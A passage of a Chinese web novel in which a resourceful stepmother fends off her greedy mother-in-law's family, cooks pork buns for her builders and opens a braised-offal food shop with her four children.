《恶毒后娘？我调教崽子一崽更比一崽强》 第32章 老实勤劳的万老大和万老二？ 有儿子在背后撑腰，万老太骂的特别有劲，张着大嘴唾沫星子到处喷。 赵石头听到她那么编排卜霜，一下子怒了。 他虽然和卜霜交往时间不长，但是看得出卜霜是个好人，不仅供应的饭菜量大美味，还十分体恤工匠，每隔一会儿就让万路给他们倒水喝。 不仅如此，每日晚上他们走之前都会把当日工钱结给他们。 人家娘几个过得辛苦，卜霜成天早出晚归的干那么多活养活家，没见这些亲戚帮衬过什么，反而一见卜霜过得好了，就饿狼一般的过来，恨不得把她撕成几块。 “你个半截身子埋进土里，隔天就要埋了的老太婆，说话给我放干净点，你吃完饭从来不刷吧，嘴巴比六月的粪坑还要臭，隔这么远都能闻到你嘴里的味，你儿子老早翘了辫子了了，人家卜妹子自立门户早就和你们一家没关系了，你要想你儿子了赶快追着他或许还能再阎王殿跟前打个照面，别来这里丢人。” 赵石头的骂人功力和赵昭明一脉相承，都很有攻击力。 万老太被他骂的气血上涌，差点昏过去。 她握着拐杖着急的捶地，气的气喘如牛，指挥儿子道： “老大，老二，你们还愣着干啥，带着万寻给我里闯，我就不信了，她卜霜还能不让咱们进门，这天底下能有不让婆婆进门的媳妇。” 卜霜厨房里不知道有多少好东西，一会进去了，她一定要把那些鱼啊肉啊米缸什么的都搬走。 哼，还想瞒着她吃独食。 她这次回去可要好好补补。 万老大和万老二听了万老太的话，嚷嚷着就要往里闯。 赵石头和工匠们自然不会让他们进去，两方你推我我推你，眼看就要打起来。 “住手！” 卜霜急忙跑过来站在赵石头和万老太中间，制止住他们的动作，转头冷眼盯着万老太。 “上次我差点被人绑去范家，我还没去找你算账呢，你倒好，自己先送上门来了，你站在我家门口，带着这些人，这是要干嘛？” “你说的啥，什么绑不绑的，我听不懂。”万老太被卜霜那双炯炯有神的眼睛盯着，略有些不自然。 不过她很快就挺起了胸脯，趾高气昂道。 “我干啥来了，我是你婆母，什么时候想过来就过来，还用得着向你解释？我和你说，这些人刚刚居然敢骂你婆母大伯二伯，还想动手，你赶快把他们都给我辞了。” 卜霜一见万老太这样子，知道她肯定是不会承认了，懒得再和她多费口舌，干脆不理她，把她晾在一旁。 卜霜回头和赵石头说： “赵大哥，你们不用管这些不相干的人，继续该干嘛干嘛，我回去做饭，你领着手下的人再做一会儿活，就能吃午饭了。” 卜霜这一句话算是表了态。 她和万老太不是一路人，做不做工，请谁做工是她自己拿主意，别人干预不了她。 原本心里有点担心卜霜会听了婆婆的意思辞退他们的匠人，都像吃了一颗定心丸，担忧烟消云散。 他们举着手里干活的家伙把万老大和万老二推远，更加理直气壮了几分。 万老二本来还和他们抻着脖子较劲，一见人家一点顾虑也没有，强硬的很。 他瞬间气势弱了下来，缩了缩脖子，灰溜溜的跑回万老太身边，指着他们嚷嚷。 “娘，你看他们，老三媳妇根本就没把你放在眼里，都怪您那时心软，没好好给她立规矩，我看您就是要好好收拾她，让她知道自己是谁。” 万老太刚见卜霜根本不把她说的话当回事，她的心里就很不舒服了。 现在看她还又唆使这些工匠，赶他们走，她瞬间大为恼火。 “真是越来越没有规矩了，你婆母就站在你眼前，你是朝谁说话呢，还不好好把我们请进去，没大没小的东西，要是我三儿子没有被你克死，我一定让她休了你。” “你有了钱就翅膀硬了，万家把万路几个孙子孙女养那么大，废了多少粮食，白白给了你做儿子女儿，你有了钱却不第一时间孝敬你婆母，真是没心肝。” “还有你一个女人，居然让这么多野男人里里外外的进出你家，你不嫌害臊，我们老万家还要脸呢，一家人都替你丢人。” “这事我做主了，你赶快把这些不三不四的人都赶出去，你想修房子，让咱自家的人来帮你修，你大伯，你二伯，还有你大侄子，不都是身强力壮，耕地种田什么都干的男丁吗，有什么不会啊，不比外面的人用的放心，还不招闲话？” “你呢就好好孝敬我，把你大伯二伯请回家道个不是，我儿子不会跟你一般见识，他做工你出钱这不是两全其美的事吗？” 至于把工匠们赶走之后，卜霜每日要给万老大万老二多少工钱，一天供应几顿饭，这还不都由她定吗。 到时候再找个理由，把老大媳妇，老二媳妇，还有家里的孙女都接过来，每天让卜霜给她们一大家子做饭吃。 万老太越说越开心，算盘珠子在心里已经扒拉的哗啦响，眼里的贪婪藏都藏不住。 赵石头和工匠们一听可就不干了。 “死老太婆，你再给我说一句，什么叫不三不四的人，我们哥几个清清白白的做工赚工钱，怎么让你这个老虔婆一顿编排，就不清不楚了？” “我今天非把你的头按到粪坑里，嘴巴这么臭，我让你吃个够。” “你以为工匠是个人就能干得了吗，还身强体壮？就你儿子那小身板，下地都费劲，拔葱都能被葱带倒，快滚回去吧。” 工人们情绪激动，可万老太还不知道闭嘴，嫌不够似的对卜霜嚷嚷： “你看你请了都是些什么人，那都是市井里的无赖，惯会偷奸耍滑，哪有你大伯，你二伯老实勤快，你之前对他们都那么不恭顺，他们心里还惦记着你，把你当自家人，愿意过来帮你，你要是良心没让野狗叼去配了种，就赶快滚回去做一桌好菜备一桌好酒，把我们请进去好好侍奉，以前的事我就不和你追究了。” 万老大和万老二的腰板一下子又硬了起来。 等着卜霜过来低声下气的请他们进去上桌吃饭。 第33章 偷汉子 这老太婆也太厚颜无耻了，贪图她家的钱和饭，还想让她主动把钱交给他们挥霍，放她不知道她们的心思吗。 卜霜的拳头硬了又硬。 她本来看在这老婆子是万路万絮她们奶的份上，并不想在众人面前让她太过难堪。 可是她实在忍不了了。 她按压住躁动的匠人，一步迈出，泼辣的指着万老太的鼻子。 “你是属驴的吗记吃不记打，非要我拿鞭子甩你脸上你才给我长记性。” “你大儿子二儿子要是老实勤快，这村里就没有老实人了，谁不知道你们一家子吃人不吐骨头的黄皮子变得。” “尤其是你，老虔婆，你要是托生成了田鼠，十里八乡的粮仓都得让你钻空了。” 万老大被卜霜当众骂的脸红脖子粗，胸膛剧烈起伏，她深呼吸了几次，眼珠子划过围观的人。 他们闹得这样大，卜家附近早就围了一圈村妇。 万老太一屁股坐在地上就开始哭。 “哎呦喂，哪家当的婆婆有我当得憋屈啊，这没良心的小贱人，先是克死了我儿子，现在当着大家伙的面又想把我也气死哎，我那孙子孙女怎么就摊上这么一个恶毒的后娘，你看可怜见的，不给吃不给喝，被她虐待的只剩下骨头了...” 她就近一把捞起万路的胳膊给众人瞧，谁知摸了摸，万路原本干巴巴的胳膊已经粗壮了一圈，细皮嫩肉的，一点不见被苛待的样子，反而是被养的很好。 万路皱着眉头从她手中抽回胳膊。 万老太不信，又粗鲁的抓过小萱儿，把她袖子撸起来。 谁知小萱儿的手臂更肉，连手掌都是胖乎乎的。 她一愣，原本准备好的哭嚎就卡了壳。 小万萱在万老太手里挣扎：“你是坏人，离我远点。” 卜霜一把抱过小万萱，警惕的藏在身后，让四个孩子都离老太婆远一点。 好啊，这是早就吃上好的了，才能把这些个柴火棍喂的像如今这样。 万老太眼里闪过一丝恨意，拍着手继续哭嚎： “大家伙都瞧瞧，我这把老骨头了，和她大伯二伯大老远的跑过来看她，还被媳妇拒之门外不让进哎，这没心肝，我还没死呢，就都把男人叫进家了，她现在是想把我气死，好跟这些野男人偷人啊，哎呦我没法活了，我老万家怎么出了这样不知羞耻的女人，没法在这呆了。” 她嚎的比鸡还亮，一边叫嚷一边在地上打滚。 围观的看热闹的人，有人忍不住和卜霜劝道。 “你们这大庭广众的继续闹下去也不好看，不如让你婆婆先进去，你们关起门来解决，好过让人看笑话。” 听着有人帮着说话，万老太嘴角扬起一抹不太明显的笑意。 卜霜才不上当呢。 要是真让她进了门，不就随了这老贼婆的意了。 而且关起门来，村里的人什么都不知道，就会任意编造，第二天村里的传言还不知道传成什么样呢。 现在周围已经有人捂着嘴议论了。 “我就说呢，卜媳妇一个没了男人的女人，叫了这么多工匠进家里，孤男寡女的肯定要出事，你看，被婆婆捉奸闹起来了吧。” “你什么都不知道，别也跟着掺和，卜媳妇每次都把聂家的郎君叫来监工，自己躲在厨房里不出来，聂家那孩子是个好孩子，既然答应了过来监工，里面肯定没有你说的那些乌糟事。” 聂鸿轩的性格人品显然在村子里是有目共睹的，不知道为什么，一提到他也在，那些流言蜚语就散的差不多了。 不过那先头说话的女人还是不服气。 “就算不是，哪有让自己婆婆坐在地上不让进门的，这卜媳妇可真厉害，这样对自己婆婆，造孽啊。” 这话针对性太强了，卜爽抬起眼睛看过去。 果然看到了躲在人群后的赵婶子。 她的嘴忙活的都要起了火星子，这边拉着人嚼完舌根，那边又说的不亦乐乎。 她上次被卜霜教训完，好多人都不再和她来往，村子里的牛车以后也不让她坐了，卜霜就猜到她不会善罢甘休。 果然怀恨在心，趁机煽风点火。 赵昭明实在是听不下去了，站了出来：“这是我家大哥，是我给卜妹妹介绍过去的，剩下的工匠也都有家室，他们出来辛辛苦苦一天，就为赚个辛苦钱回家给老婆孩子带点好吃的，你们哪个家里没有出去做工的男人，你们难道想自家男人出去干活时，也被老太婆这样污蔑吗？” 万老太为了让自家人揽上这份差，就编排工匠们。 她这法子太阴毒，简直是想断了人家生计，人家老婆孩子一大家子人还要不要养活了。 众人一听，风向立刻就变了，开始指责万老太。 卜霜道轻蔑一笑，懒得再和她们多费口舌，她扬起声音道：“各位看的清楚，这老婆子一直在我家门口，没有进过卜家门，要是之后有个三长两短的可和我没什么关系。” “赵大哥，别管这些人，继续回去做工。我的房子我说了算，只要我不同意，其他什么人，一个子儿都别想从我这里拿到，我吃剩的饭出去喂了狗都不会让他们闻到半点。” 她领着孩子们转身回家，转身时看着还在地上嚎叫的万老太，轻飘飘的落下一句。 “你愿意在这躺着就躺着，夜晚寒凉，躺在这冻不死也要冻僵，不知道你这老骨头撑不撑得住。” “哦对了，后山还有狼，每天晚上总会下来觅食，它们最喜欢吃人肉，总之不管半夜听到什么声响，我是不会让你进我家门一步的。” 万老太一听不免有些哆嗦。 她之前虽然见识到卜霜的嘴巴，知道她和以前已经有了些不同，不过想着她毕竟是个年纪不大的丫头，总有办法治住她。 谁知道卜爽软硬不吃。 眼看她已经要回去了，万老太着急着脱口而出。 第34章 就为了馋她 “你个没脸没皮和男人勾勾搭搭的臭婆娘，我们来帮你盖房子，你不领情就算了，居然敢把你男人的老娘丢在这，你不得好...” 话未说完，迎面一盆水泼了过来，把万老太未说完的污言秽语全都堵到了嗓子眼里。 万路站在卜霜前面，他拎着泔水桶，阴着脸：“我以前还把你当我奶，结果我娘和我们兄妹四个被你赶到这山脚下漏风的屋子，没钱没粮食没柴火，差点活不下去，你那时怎么不来帮我们一家，让我们一家在这里自生自灭？现在领着你废材一样的两个儿子来帮我们，早干嘛去了？你不要以为我家没有男人，所以就能几次上门来欺负我娘，我告诉你们，我们兄妹四个和你们万家没有关系，我们没有奶，没有大伯父，二伯父，你们要是再敢说我娘一句，我和万辽和你们拼命。” “对，谁也别想欺负我娘，你们再说一句，我和你们拼了。”万辽虽然没有万路个子高，也挺身而出，和万辽一样站在卜霜身前，将她牢牢护在身后。 后娘变好之后一直都护着他们，这次也该让他们保护后娘一次了。 “你们俩真是...”卜霜虽然并不把万家人放在眼里，不需要保护，但是看着两个小人义无反顾挡在身前维护她的样子，还是感动的一塌糊涂，“真是小男子汉，娘的乖乖。” 万老大之前过来蹭饭被卜霜赶走时是见识过这泔水的威力的，他们回去之后洗了好久，足足两天，身上还有味。 他心有余悸，所以见到万路提着一桶泔水泼过来时，反应极其迅速的躲了过去，可万老太和万老大就没那么敏捷了。 他们被当面一通泔水泼了个正着，万寻眼睛不尖反应慢了半拍，也被淋了一身。 这次的泔水和上次还不同，是加了料的，卜霜昨日洗过猪下水的所有脏东西都在里面。 她没来得及倒，正好便宜了万老太。 猪骚气和肠肚挂在三人的头上，绿色的汁水滴滴答答往下淌，发出令人作呕的臭味。 围观的众人迅速跳开，扇着风嫌恶的离他们老远。 他们听了万辽发怒的一番话，这才知道了事情的隐情。 一时间你说一句我说一句，对万老太为人都颇为鄙夷，讨伐起来。 “原来是这样，当奶奶的怎么能心狠成这个样子，都是自家的子孙血脉，居然竟然狠得下心把孙子孙女赶出去，省那一点口粮，这万家从上到下就没有一个好东西。” “可不是吗，你看她撒泼的劲，之前一看就没少做过，卜媳妇嫁到这户人家里一定没少受苦，摊上这么一家人，不得让这家人吃干抹净。” “哼，那张嘴啊又臭又毒，天底下哪有人这样说儿媳妇的，听得我都想泼她。” “要不是被逼急了，哪家孙子会泼奶奶泔水呢。” 赵石头看着这家人狼狈窘迫的样子，拍手叫好，痛快道：“老太婆，现在掉进茅坑了吧，还在这呆着，不嫌丢人啊。” 万老太本以为一个孝字压下来，这四个小的翻不出什么浪来，哪想到竟然被孙子亲自戳破了以前做的那些事，还被这么羞辱了一顿。 眼看众人都在骂他们，她自己也知道理亏，也不敢再多说啥了。 本来打着掏走卜霜的钱袋子和厨房的主意来的，最后灰头土脸惹了一身腥，万老太和万老大万老二一边干呕一边逃也是的跑回去了。 众人见人走了，感叹了几句，嘴里还喋喋不休的骂着万老太，互相聊着也回去做饭了。 村里人娱乐活动少，有什么八卦小道消息传的飞快，卜霜猜的到，万老太这次的恶名和她以往做过的那些事情不出半日，一定会在武安村，不，甚至镇里都出名了。 赵昭明走上来拍拍她胳膊，担忧的看她：“你这个婆婆真是不达目的不罢休，隔几天一个歪主意，等知道你做起了生意，还不知道怎么闹呢。” 卜霜笑了笑，一点不担心：“我有四个孩子，等孩子都大了，他们可以保护我。” “就是，下次再敢来，我拿着大棍子把他们给娘都赶走。”万辽拍拍胸脯，很是自信的保证道。 看万辽的表情，赵昭明也笑了，捏捏万辽的小脸。 卜霜是真的一点都担心，等房子盖好，大门一关，万家那群人别说进来，就是他们站在外面叫骂个三天，她在家里连一点声音都听不到。 之后食铺子的生意有进项了，她在家里吃喝不愁，银钱不愁没烦恼，万家人就是再怎么眼红又能怎么办呢。 赵石头和工匠们继续回去做工，他们因为万家人耽误了进程，得快点赶回来。 卜霜带着孩子们回了屋子。 她检查了万路一番后，又撸起万萱的袖子看了看。 刚刚万老太抓着万萱用的蛮劲，一点没收手。 好在小万萱的棉衣厚，胳膊上只有点红印子，没有什么淤青。 不过卜霜还是打了一盆热水，用毛巾过了水拧干，给万萱在胳膊上敷着。 “娘，以后他们再过来，你不用顾虑我们的心情，想怎么骂就怎么骂，想打就打，我们兄妹早在她把我们赶出家时就已经和万家没有关系了，她不是我们的奶，我们只有一个亲人，就是娘，所以娘不要受他们欺负。” 万絮走过来，很坚定的对卜霜说。 卜霜一愣，随即心上一热。 原来小崽子们都看出来了她今天对万老太口下留情的原因。 她摸摸万絮的头，笑着点点头：“好，她要是再来，娘下次一定骂的她没脸做人。” 照顾好小万萱之后，卜霜开始准备做饭。 她原本准备再用昨日买的大棒骨和排骨做几道菜，然后继续吃馒头，但是经过万老太上门后，她决定今天做顿奢侈的，不为什么，她不是想吃肉吗，卜霜就是要赵婶再过去通风报信，馋哭她，但她就是吃不着。 第35章 包子 今天她要蒸包子。 卜霜正切着白菜，外面传来传来车夫的喊声。 “这儿是卜掌柜家吗，您的肉我送到了。” 肉铺掌柜送来的十斤猪肉和猪下水都已经送来了，孩子们立刻跑出去搬肉，不用她操心，卜霜就没出去。 做包子最重要的是包子皮。 要蓬松不塌，皮薄还不漏馅。 卜霜挖出几碗面粉加入酵母和白糖搅拌，等一会之后再加入酵母水，将面粉搅拌成絮状，加入猪油肉揉成光滑的面团。 然后把盆子放到温暖的地方，盖上湿布，等着发酵。 发酵完成后再继续揉面，直到排出气泡，面皮光滑细腻。 接下来是肉馅。 她把那猪肉不要钱似的拿出好几斤，剁成肉馅，肉馅里面加盐，花椒水，朝着同一个方向搅拌直到肉馅变的粘稠。 然后加入生抽，老抽，好有，和姜末葱花，淋上香油后拌匀。 卜霜把揉好的面团搓成长条，切成好多比做饺子时大一点的剂子，擀成中间厚边缘薄的皮。 “娘，我也来包吧，两人一起包包的快。” 万絮洗干净手，过来擀面皮。 他们俩一个人擀面皮一个人包，速度真快乐不少。 “你大哥呢？” “大哥揪住万辽去洗猪下水去了。” 卜霜笑了笑，不用想也知道万路为什么要用揪的，万辽一定是老不乐意了。 果然，没一会儿，就见万辽打起帘子偷偷进了厨房和卜霜撒娇。 “娘，咱不少人呢，你肯定要做包好多包子吧，我也来给你包包子，人多速度快。” “你呀是不想洗猪下水偷懒来了吧。”卜霜用沾着白面的手在万辽脸上抹了一下。 万辽讪笑着立刻上手包包子。 卜霜还有别的菜要做，有他在也好，就没赶他。 厨房里真是人气旺。 大火烧起来，一个个热的满身都是汗，都要进来。 没多久，小万萱也跑进来呆着。 卜霜便从面团里揪了一小块给小万萱拿着玩，然后给万辽示范怎么包包子，拇指转着面皮压馅，食指捏褶子，然后收口，一个包子就做了出来。 看着万辽在那跟着做，卜霜先去把蒸笼放在锅上，开始大火烧水。 她又另起锅灶，开始做蛋汤。 包子虽然好吃，但是吃多一定口渴，这时候来一碗蛋汤，双重满足。 卜霜先把番茄去皮切成丁，然后把它翻炒几下，加水煮开。 煮一会加入水淀粉，等它变得浓稠，然后取出十个鸡蛋打散，用筷子搅动水的同时将蛋液缓慢倒入，最后加入盐，胡椒粉，撒入葱花。 上次的凉拌黄瓜众人都喜欢吃，做法又简单。 卜霜等着蒸笼水开的时间又快速做了一道凉拌黄瓜。 万絮和万辽做的第一批包子成型，蒸笼水也开了。 卜霜把包子放进去，留好间距，盖上盖子，就开始蒸包子。 冬日的太阳懒洋洋的，卜家的炊烟飘出长长的一道青烟，包子的香味也传了出来。 村里子各处都能听到喊孩子回家吃饭的声音。 风一吹，各家的饭香各有各的味道，和各别糊了菜的味道缠绕在一起，空气都被熏得暖烘烘。 小万萱守在热气腾腾的蒸笼旁，闻着那香味，流口水。 眼看要蒸好了，卜霜叫万辽： “万辽，把你赵婶婶和大壮哥叫过来，过来一起吃肉包子。” “好。”万辽的小短腿跑的飞快。 卜霜算着时间揭开锅盖，将蒸好的包子取出来，又放进另一批。 出锅的包子雪白暄软，鲜嫩爆汁，看着就美味。 万絮把蛋汤和凉拌黄瓜端出去，每个人都舀好一碗，卜霜出院子里喊人。 “赵大哥，饭好了，快下来洗洗手吃饭吧。” 赵石头和工匠们应声跑下来，赵昭明和大壮也来了。 看到桌子上的包子，他们眼中一亮，但随即就有些受宠若惊。 “哎呦卜妹子，你这怎么使得，猪肉大包子，这一顿下来要废不少银钱呢。” “大家本来就为着赵姐姐的情分而来，没有多收我的工钱，尽心尽力的帮我做工。今天因为我受了不少侮辱，而且在我不在家的时候，你们帮我把万家的人都拦在门外，没有让他们进来，不要有什么负担，就当是我请你们吃一顿好的。” 这一顿包子要抵得上他们好几天干活的工钱了。 工匠们一时有些感动却说不出来。 “你放心吧大妹子，我一定给你把房子盖得漂漂亮亮的。” “卜掌柜豪气，我交你这个朋友了，以后有用的着我的地方只管说，我一文钱都不收。” 卜霜招呼他们吃饭。 包子白胖，还有刚出笼的蒸汽。 皮薄馅大，一口咬下去还会爆汁，猪肉的醇香和姜末葱花的味道混合着热气在嘴里打着旋。 赵石头一口吞掉大半个包子，滚烫的汤汁溢出来，他被包子烫到都不撒口，斯哈斯哈的边吸气边咀嚼，咽下去后，满足的叹息了一声，迫不及待的又伸手把另一半吞了进去，结果又被烫到。 “小心烫，你们吹一吹再吃。” 卜霜连忙提醒，可哪里有人听。 工匠们也都是狼吞虎咽的，包子在手里来回倒腾，一会儿咬一口，一会儿去吸流出来的汤汁。 饭桌上只能听到吃饭的声音，连多余的夸奖都会耽误时间。 赵昭明因为卜霜最近对厨艺很感兴趣，一眼就看出了不同，捏了捏包子皮，“这包子皮做的真暄乎。” “赵姐姐聪明，这面团我加了糖，醒发到位，又揉了好长时间呢，下次有时间我教你，你也试试，不管是包子还是馒头都能更好吃。” 卜霜看了一眼万辽，颇为震惊，这么一会儿功夫他已经吃了两个包子了。 “你不是很爱吃镇上的包子吗，娘做的包子比起镇子上买的包子怎么样？” 万辽嘴里不停，想也不想： “那镇上的包子跟您做的根本没法比，娘做的太好吃了，要是娘也卖包子，那家店恐怕以后都没人去吃了。” 小万萱抓着包子咬破一个小口，呼呼的往里吹气，闻言点头。 卜霜被夸得心花绽放。 第36章 卜记食铺开张 众人吃了包子，又将蛋汤和凉拌黄瓜吃的一干二净，最后个个躺在椅子上，心满意足的发出喟叹。 这才是人过得日子啊。 他们之前天天窝窝配糠咽菜，到底是怎么过来的。 不行，他们也要赚多钱，天天割肉回去，让老婆孩子也过上这样的生活。 人一旦有了动力，就特别的有干劲。 工匠们只在椅子上躺了躺，就打了鸡血似的继续起来干活。 要是照往日，卜霜还会劝一劝他们，只是现在她也忙的不可开交。 明天卜记食铺就要开业了，卤下水做起来复杂，时间紧迫，下午要做出好些卤下水。 卜霜没有时间休息，撸起袖子就是干活，她立即指挥四个小崽子，万絮去洗碗，万路继续洗猪下水，万辽这次可偷不了懒了，必须帮着他哥一起洗下水，万萱就负责子啊旁边给他们喊加油，隔一段间给众人送水喝。 都安排下去后，众人立刻该做什么做什么。 赵昭明和大壮吃过饭后没有走，也留下来帮着洗猪下水。 他们虽然没干过，但是照葫芦画瓢总会的。 有了他们的加入，卜霜瞬间轻松了不少。 其实按照卜霜之前所预计每天做卤味的定量，根本不会这么繁忙。 只是昨天那个男人留下了钱，信誓旦旦明天过来买，倘若他第二天真是大清早就过来排队，那么一下子拿走二十斤卤味，排在后面的人就没的可买了。 卜霜少不得再多做二十斤卤味，所以才没了空闲。 聂鸿轩每天都会在卜霜回家后再过来监工，他刚刚进门，下一秒就自觉的也过来洗下水， 几个人齐刷刷的蹲在那里，鼻子上围着手帕，跟一群训练有素的帮厨似的，苦哈哈的给主厨清理食材。 不过还好众人一想到有钱可以赚，都是干劲十足的。 有了昨天的历练，万路万絮聂鸿轩他们干起活来都有了门道，再一指点赵昭明，效率一下子变得很高。 很快就洗好了第一批下水，卜霜拿走他们洗好的下水放到锅里去卤。 赵昭明抬起头看一圈剩下的，爽快道：“这么多我估计你忙到睡觉都卤不完，我先做着，做到晚上，我吃过晚饭后，还带着大壮过来帮你弄吧，横竖就住在隔壁，晚了回去也方便。” 卜霜也没和她客气，笑着和她开玩笑：“回去吃啥晚饭啊，就在这儿一起吃了，你来回做饭走路的时间，够给我洗好几幅猪下水了。” “好啊，我这是遇到会压榨的老板了。”赵昭明调侃道。 两人嘻嘻哈哈了一番。 赵昭明看了一眼在边边干活毫不含糊的聂鸿轩，朝卜霜挤眉弄眼的。 “啧，又好看又勤快，还肯坐在这里洗下水，这样好的小郎君也不知道最后会便宜了哪个女人。” 聂鸿轩闻言身体僵直，眉眼依旧冷冷的，可耳朵尖却浮出一抹红。 卜霜也笑，不过偷偷推她：“你可别打趣了，一会儿给我把人说跑了，我少了一个劳工，可和你没完。” 一众人忙到日头落下，送走工匠后潦草的吃过了晚饭，又继续干活。 直到村里好些睡得早的人家都歇了灯，那些卤味才都卤好。 聂鸿轩甚至都留到了现在。 送过赵昭明和聂鸿轩后，卜霜累的腰酸背痛，她锤了锤身上。 累成这样，明天还怎么卖卤味。 忽然她想到了被遗忘了好久的东西。 卜霜闪身进了空间，舀了一碗灵泉水灌进去，果然一下子神清气爽，酸痛的地方也不疼了，疲劳也都消除了，一下子舒坦的伸了个大大的懒腰。 她又取出一些，装作是普通的水让四个小崽子都喝了下去。 看着他们的脸色瞬间精神起来。 这下就有力气去镇上卖卤味了。 她抱着万萱，赶快让孩子们都睡下。 快要睡着时，卜霜忽然想到个新的营销的好主意，她立刻告诉万路他们。 万辽听过后瞪着大眼睛，有些震惊她的想法：“这能行吗？” 万路也咬了咬唇，他素来沉稳，但此刻也觉得太过羞耻，露出几分孩子气来。 卜霜咯咯直笑：“当然可以啦，我家乡的铺子就是这样做的，然后那个铺子因为这个办法名声响彻了全国，哎呀，你们听我的就行了，耳朵都听着啊，我教给你们，明天你们就这样...” 第二日，卜霜一大早就叫醒四个小崽子，带着卤味坐着牛车进了镇。 这日镇上异常热闹。 赶早集的人们来来往往，街道的摊贩，货郎都已经都卖了有一阵子，街上的商铺也开了好多。 一眼望过去，琳琅满目的商品，大街上流淌的香气简直看得人眼花缭乱。 看来明天她们来的还要更早一些。 卜霜连忙带着孩子们从铺子的后门进去，生了火，她把卤味倒进大锅里热着。 然后拿出几块在案板上切好。 “万絮把窗户打开通通风。” 万絮刚把铺子门和窗户打开，就被门口排的黑压压得队伍给惊了一跳。 已经在外面等了不知道多久的食客，一见有人露面立刻兴奋的喊道：“门开了门开了。” 人群开始骚动拥挤。 万絮连忙道：“大家别挤，别挤，注意安全，铺子还没开张呢，你们排好队啊。” 锅里的卤味香味浓郁的散出来，把众人的馋虫勾起，前面的人忍不住问道： “掌柜的，卤味什么时候卖啊。” 他自从昨天尝过试吃之后，回家之后就总惦记这个味道，魂牵梦萦的馋的梦里还流口水，现在闻着这个味实在是受不了了，恨不得立刻就买了几斤下酒吃。 后面的人也都附和着：“对啊，掌柜的快把卤味都摆出来吧，我们钱都准备好了，等好久了。” 乱糟糟的声音从各处响起来，卜霜走出来安抚着：“各位食客稍安勿躁，你们排好队，铺子很快就开张。” 卜霜说完转头朝里面喊：“万路万絮万辽万萱，准备好就开始迎客了。” 万絮还有些没回神，昨天虽然也来了很多人，但毕竟是来吃试吃的卤味，免费的东西谁不想尝一尝呢，所以她对今天会来多少客人，实际上并没有底，但是现在眼睁睁看到外头聚集了这么多人，甚至和昨天比不相上下，她一时间开心的不知道怎么表述。 卜霜走出去，“容我揭个牌匾，咱就开张了。” 第37章 你爱我，我爱你，卜记食铺欢迎你 昨日木匠做好了招牌，回家时经过镇上就给她挂了上去。 红色的绸子还没有扯下来。 卜霜把挂着红绸的一把揭下，卜记食铺四个烫金的字显眼的露了出来。 “好！恭喜卜掌柜！” 众人也极捧场，涌来闹哄哄的掌声和叫好声。 万路万辽和万絮万萱分别站在招牌两边，齐声唱道： “你爱我，我爱你，卜记食铺欢迎你，你爱我，我爱你，卜记食铺真美丽，你爱我啊，我爱你，你爱我，我爱你，卜记食铺欢迎你。” 门口排好队的食客都有些愣神，听了一会儿议论起来：“这是在干什么，开业还要唱曲吗，没见过啊，真新鲜。” “你别说，这曲子虽然有些特别，但是还挺朗朗上口，我都会唱了。” 有人已经跟着哼起来：“你爱我，我爱你，卜记食铺欢迎你。” 唱了一会儿，确保这段旋律已经刻在众人的心底后，卜霜大手一收，万路他们四个就停了下来。 这就是后娘昨天晚上教他们的新营销方法。 他们硬着头皮唱完曲，赶快回铺子里，把切好的卤味放到窗扇下的柜台上摆着，正是开始售卖。 之前已经安排好了分工，万路收银，万絮称斤，万辽捞出锅里的卤味切好片，卜霜负责包装盒售卖。 而万萱了，就是在一旁用响亮的声音继续唱着：“你爱我，我爱你，卜记食铺欢迎你，你爱我，我爱你，卜记食铺真美丽，你爱我啊，我爱你，你爱我，我爱你，卜记食铺欢迎你——” 她唱累了就坐着喝水，改为万路一边收银一边唱，万路唱累了万絮接上，几个人人就这样循此往复，歌声一直没停下。 卜霜拿起一张油纸，问排在队伍第一的食客： “卤大肠二十文一斤，猪肺猪肝猪肚十五文一斤，新店开张前三天，每买二十文送半斤猪肚猪肺猪肝，赠品随机，客官你要些什么？” 前三天居然还有赠品，这下子众人感觉更实惠了。 男人激动的走上前，塞了六十文过去： “给我切三斤卤大肠。” “好嘞。” 后面人听到这人一下子居然就要了三斤卤味，担心排到他这里时不够卖，有些不爽的嚷嚷：“买那么多啊，你吃的完吗？” 卜霜切好称斤，用油纸包好递给他，继续向后面吆喝：“下一位。” 油纸包拿到手里热乎乎的，缝里还带着热气，男人咽着口水，拿过来之后便迫不及待的拆开油纸咬了一口。 他嘴里嚼着劲道的卤大肠，大肠香而不腻，怂的卤猪肝绵密，一进嘴就化了。 好吃，真好吃，不枉他起的那么早过来排队。 男人眉飞色舞，边走边吃，引得排在后面的客人更加焦急，只恨不得立刻飞到第一个。 只要一人买好，后面的人就立刻把空位补上。 大概走了五位食客，卜霜就见到了昨日那位锦衣公子。 他还真早早就来排队了，而且不知道几点出来的，居然排的这么靠前。 男人傲气的仰着脸，看着卜霜挑眉，得意：“钱我昨天就给你了，也过来排队了，这回总没话说了吧。” 他豪气万丈的喊：“给我来十斤卤大肠，其余的各五斤。” 好家伙，竟然比昨日还多要了五斤卤味。 后面的人一听可就不干了，周遭乱七八糟的声音都在指责他：“哪有一下子买这么多的？” “你小子，我们排了这么久的队，你让我们买什么？” “小爷有钱，我想买多少就买多少。”男人不甘示弱的回呛，“昨天不让预定，我今天就来排队了，掌柜的昨日不是说了吗，先来先到，卖完就没了，我管你们能不能吃到，想吃啊，你们早点来啊。” 吃货之间的战争，狂热至极。 卜霜立刻安抚众人：“大家不要着急，我昨日做了很多，都有份啊。” 男人得意的看了众人一眼，让小厮把大包小包的卤味带走了。 让食客们干瞪眼的看着他大摇大摆的身影。 卖了小半天时间，排队的人流不见少，甚至越排越多。 万辽切肉切的手都麻了，万絮和他换了一下工作，自己去切肉，让他来前面称斤。 万辽走到前面一看店铺前的人流，瞠目结舌：“娘，怎么人越来越多了。” “因为我们营销做的好，排队的人多啊，其他路过的人看到了我们铺子前这么热闹，必然忍不住也想尝尝，他们跟着一起排，人就越排越多了。” “娘，你也太会做生意了。” 只过了半天，食铺里带过来的卤味便卖的一干二净，只剩下些卤水。 排在后面的一大堆人和闻讯跑过来想尝试的人都扑了个空，看着案板上只剩下一些肉末，他们懊恼不已。 “我就说这家铺子的卤味人们都抢着买，让你跑的快点，你还不信，现在可好，人家都卖光了，都怪你。” “我也没想到，这卤下水也能卖的这么快啊，媳妇你别生气了，下次我早点来给你买。” “你说的啊，下次必须给我买到。” 一个年轻媳妇因为没买到卤味拧着丈夫的耳朵大声叫骂，丈夫在那里疯狂赔不是。 万絮不由失笑，兴奋的帮着卜霜清理柜台。 万路清理收益时，小万萱大叫着扑了上去，手里抓起一捧又一捧铜板。 “哇，这么多钱！可以买好多好多好吃的。” 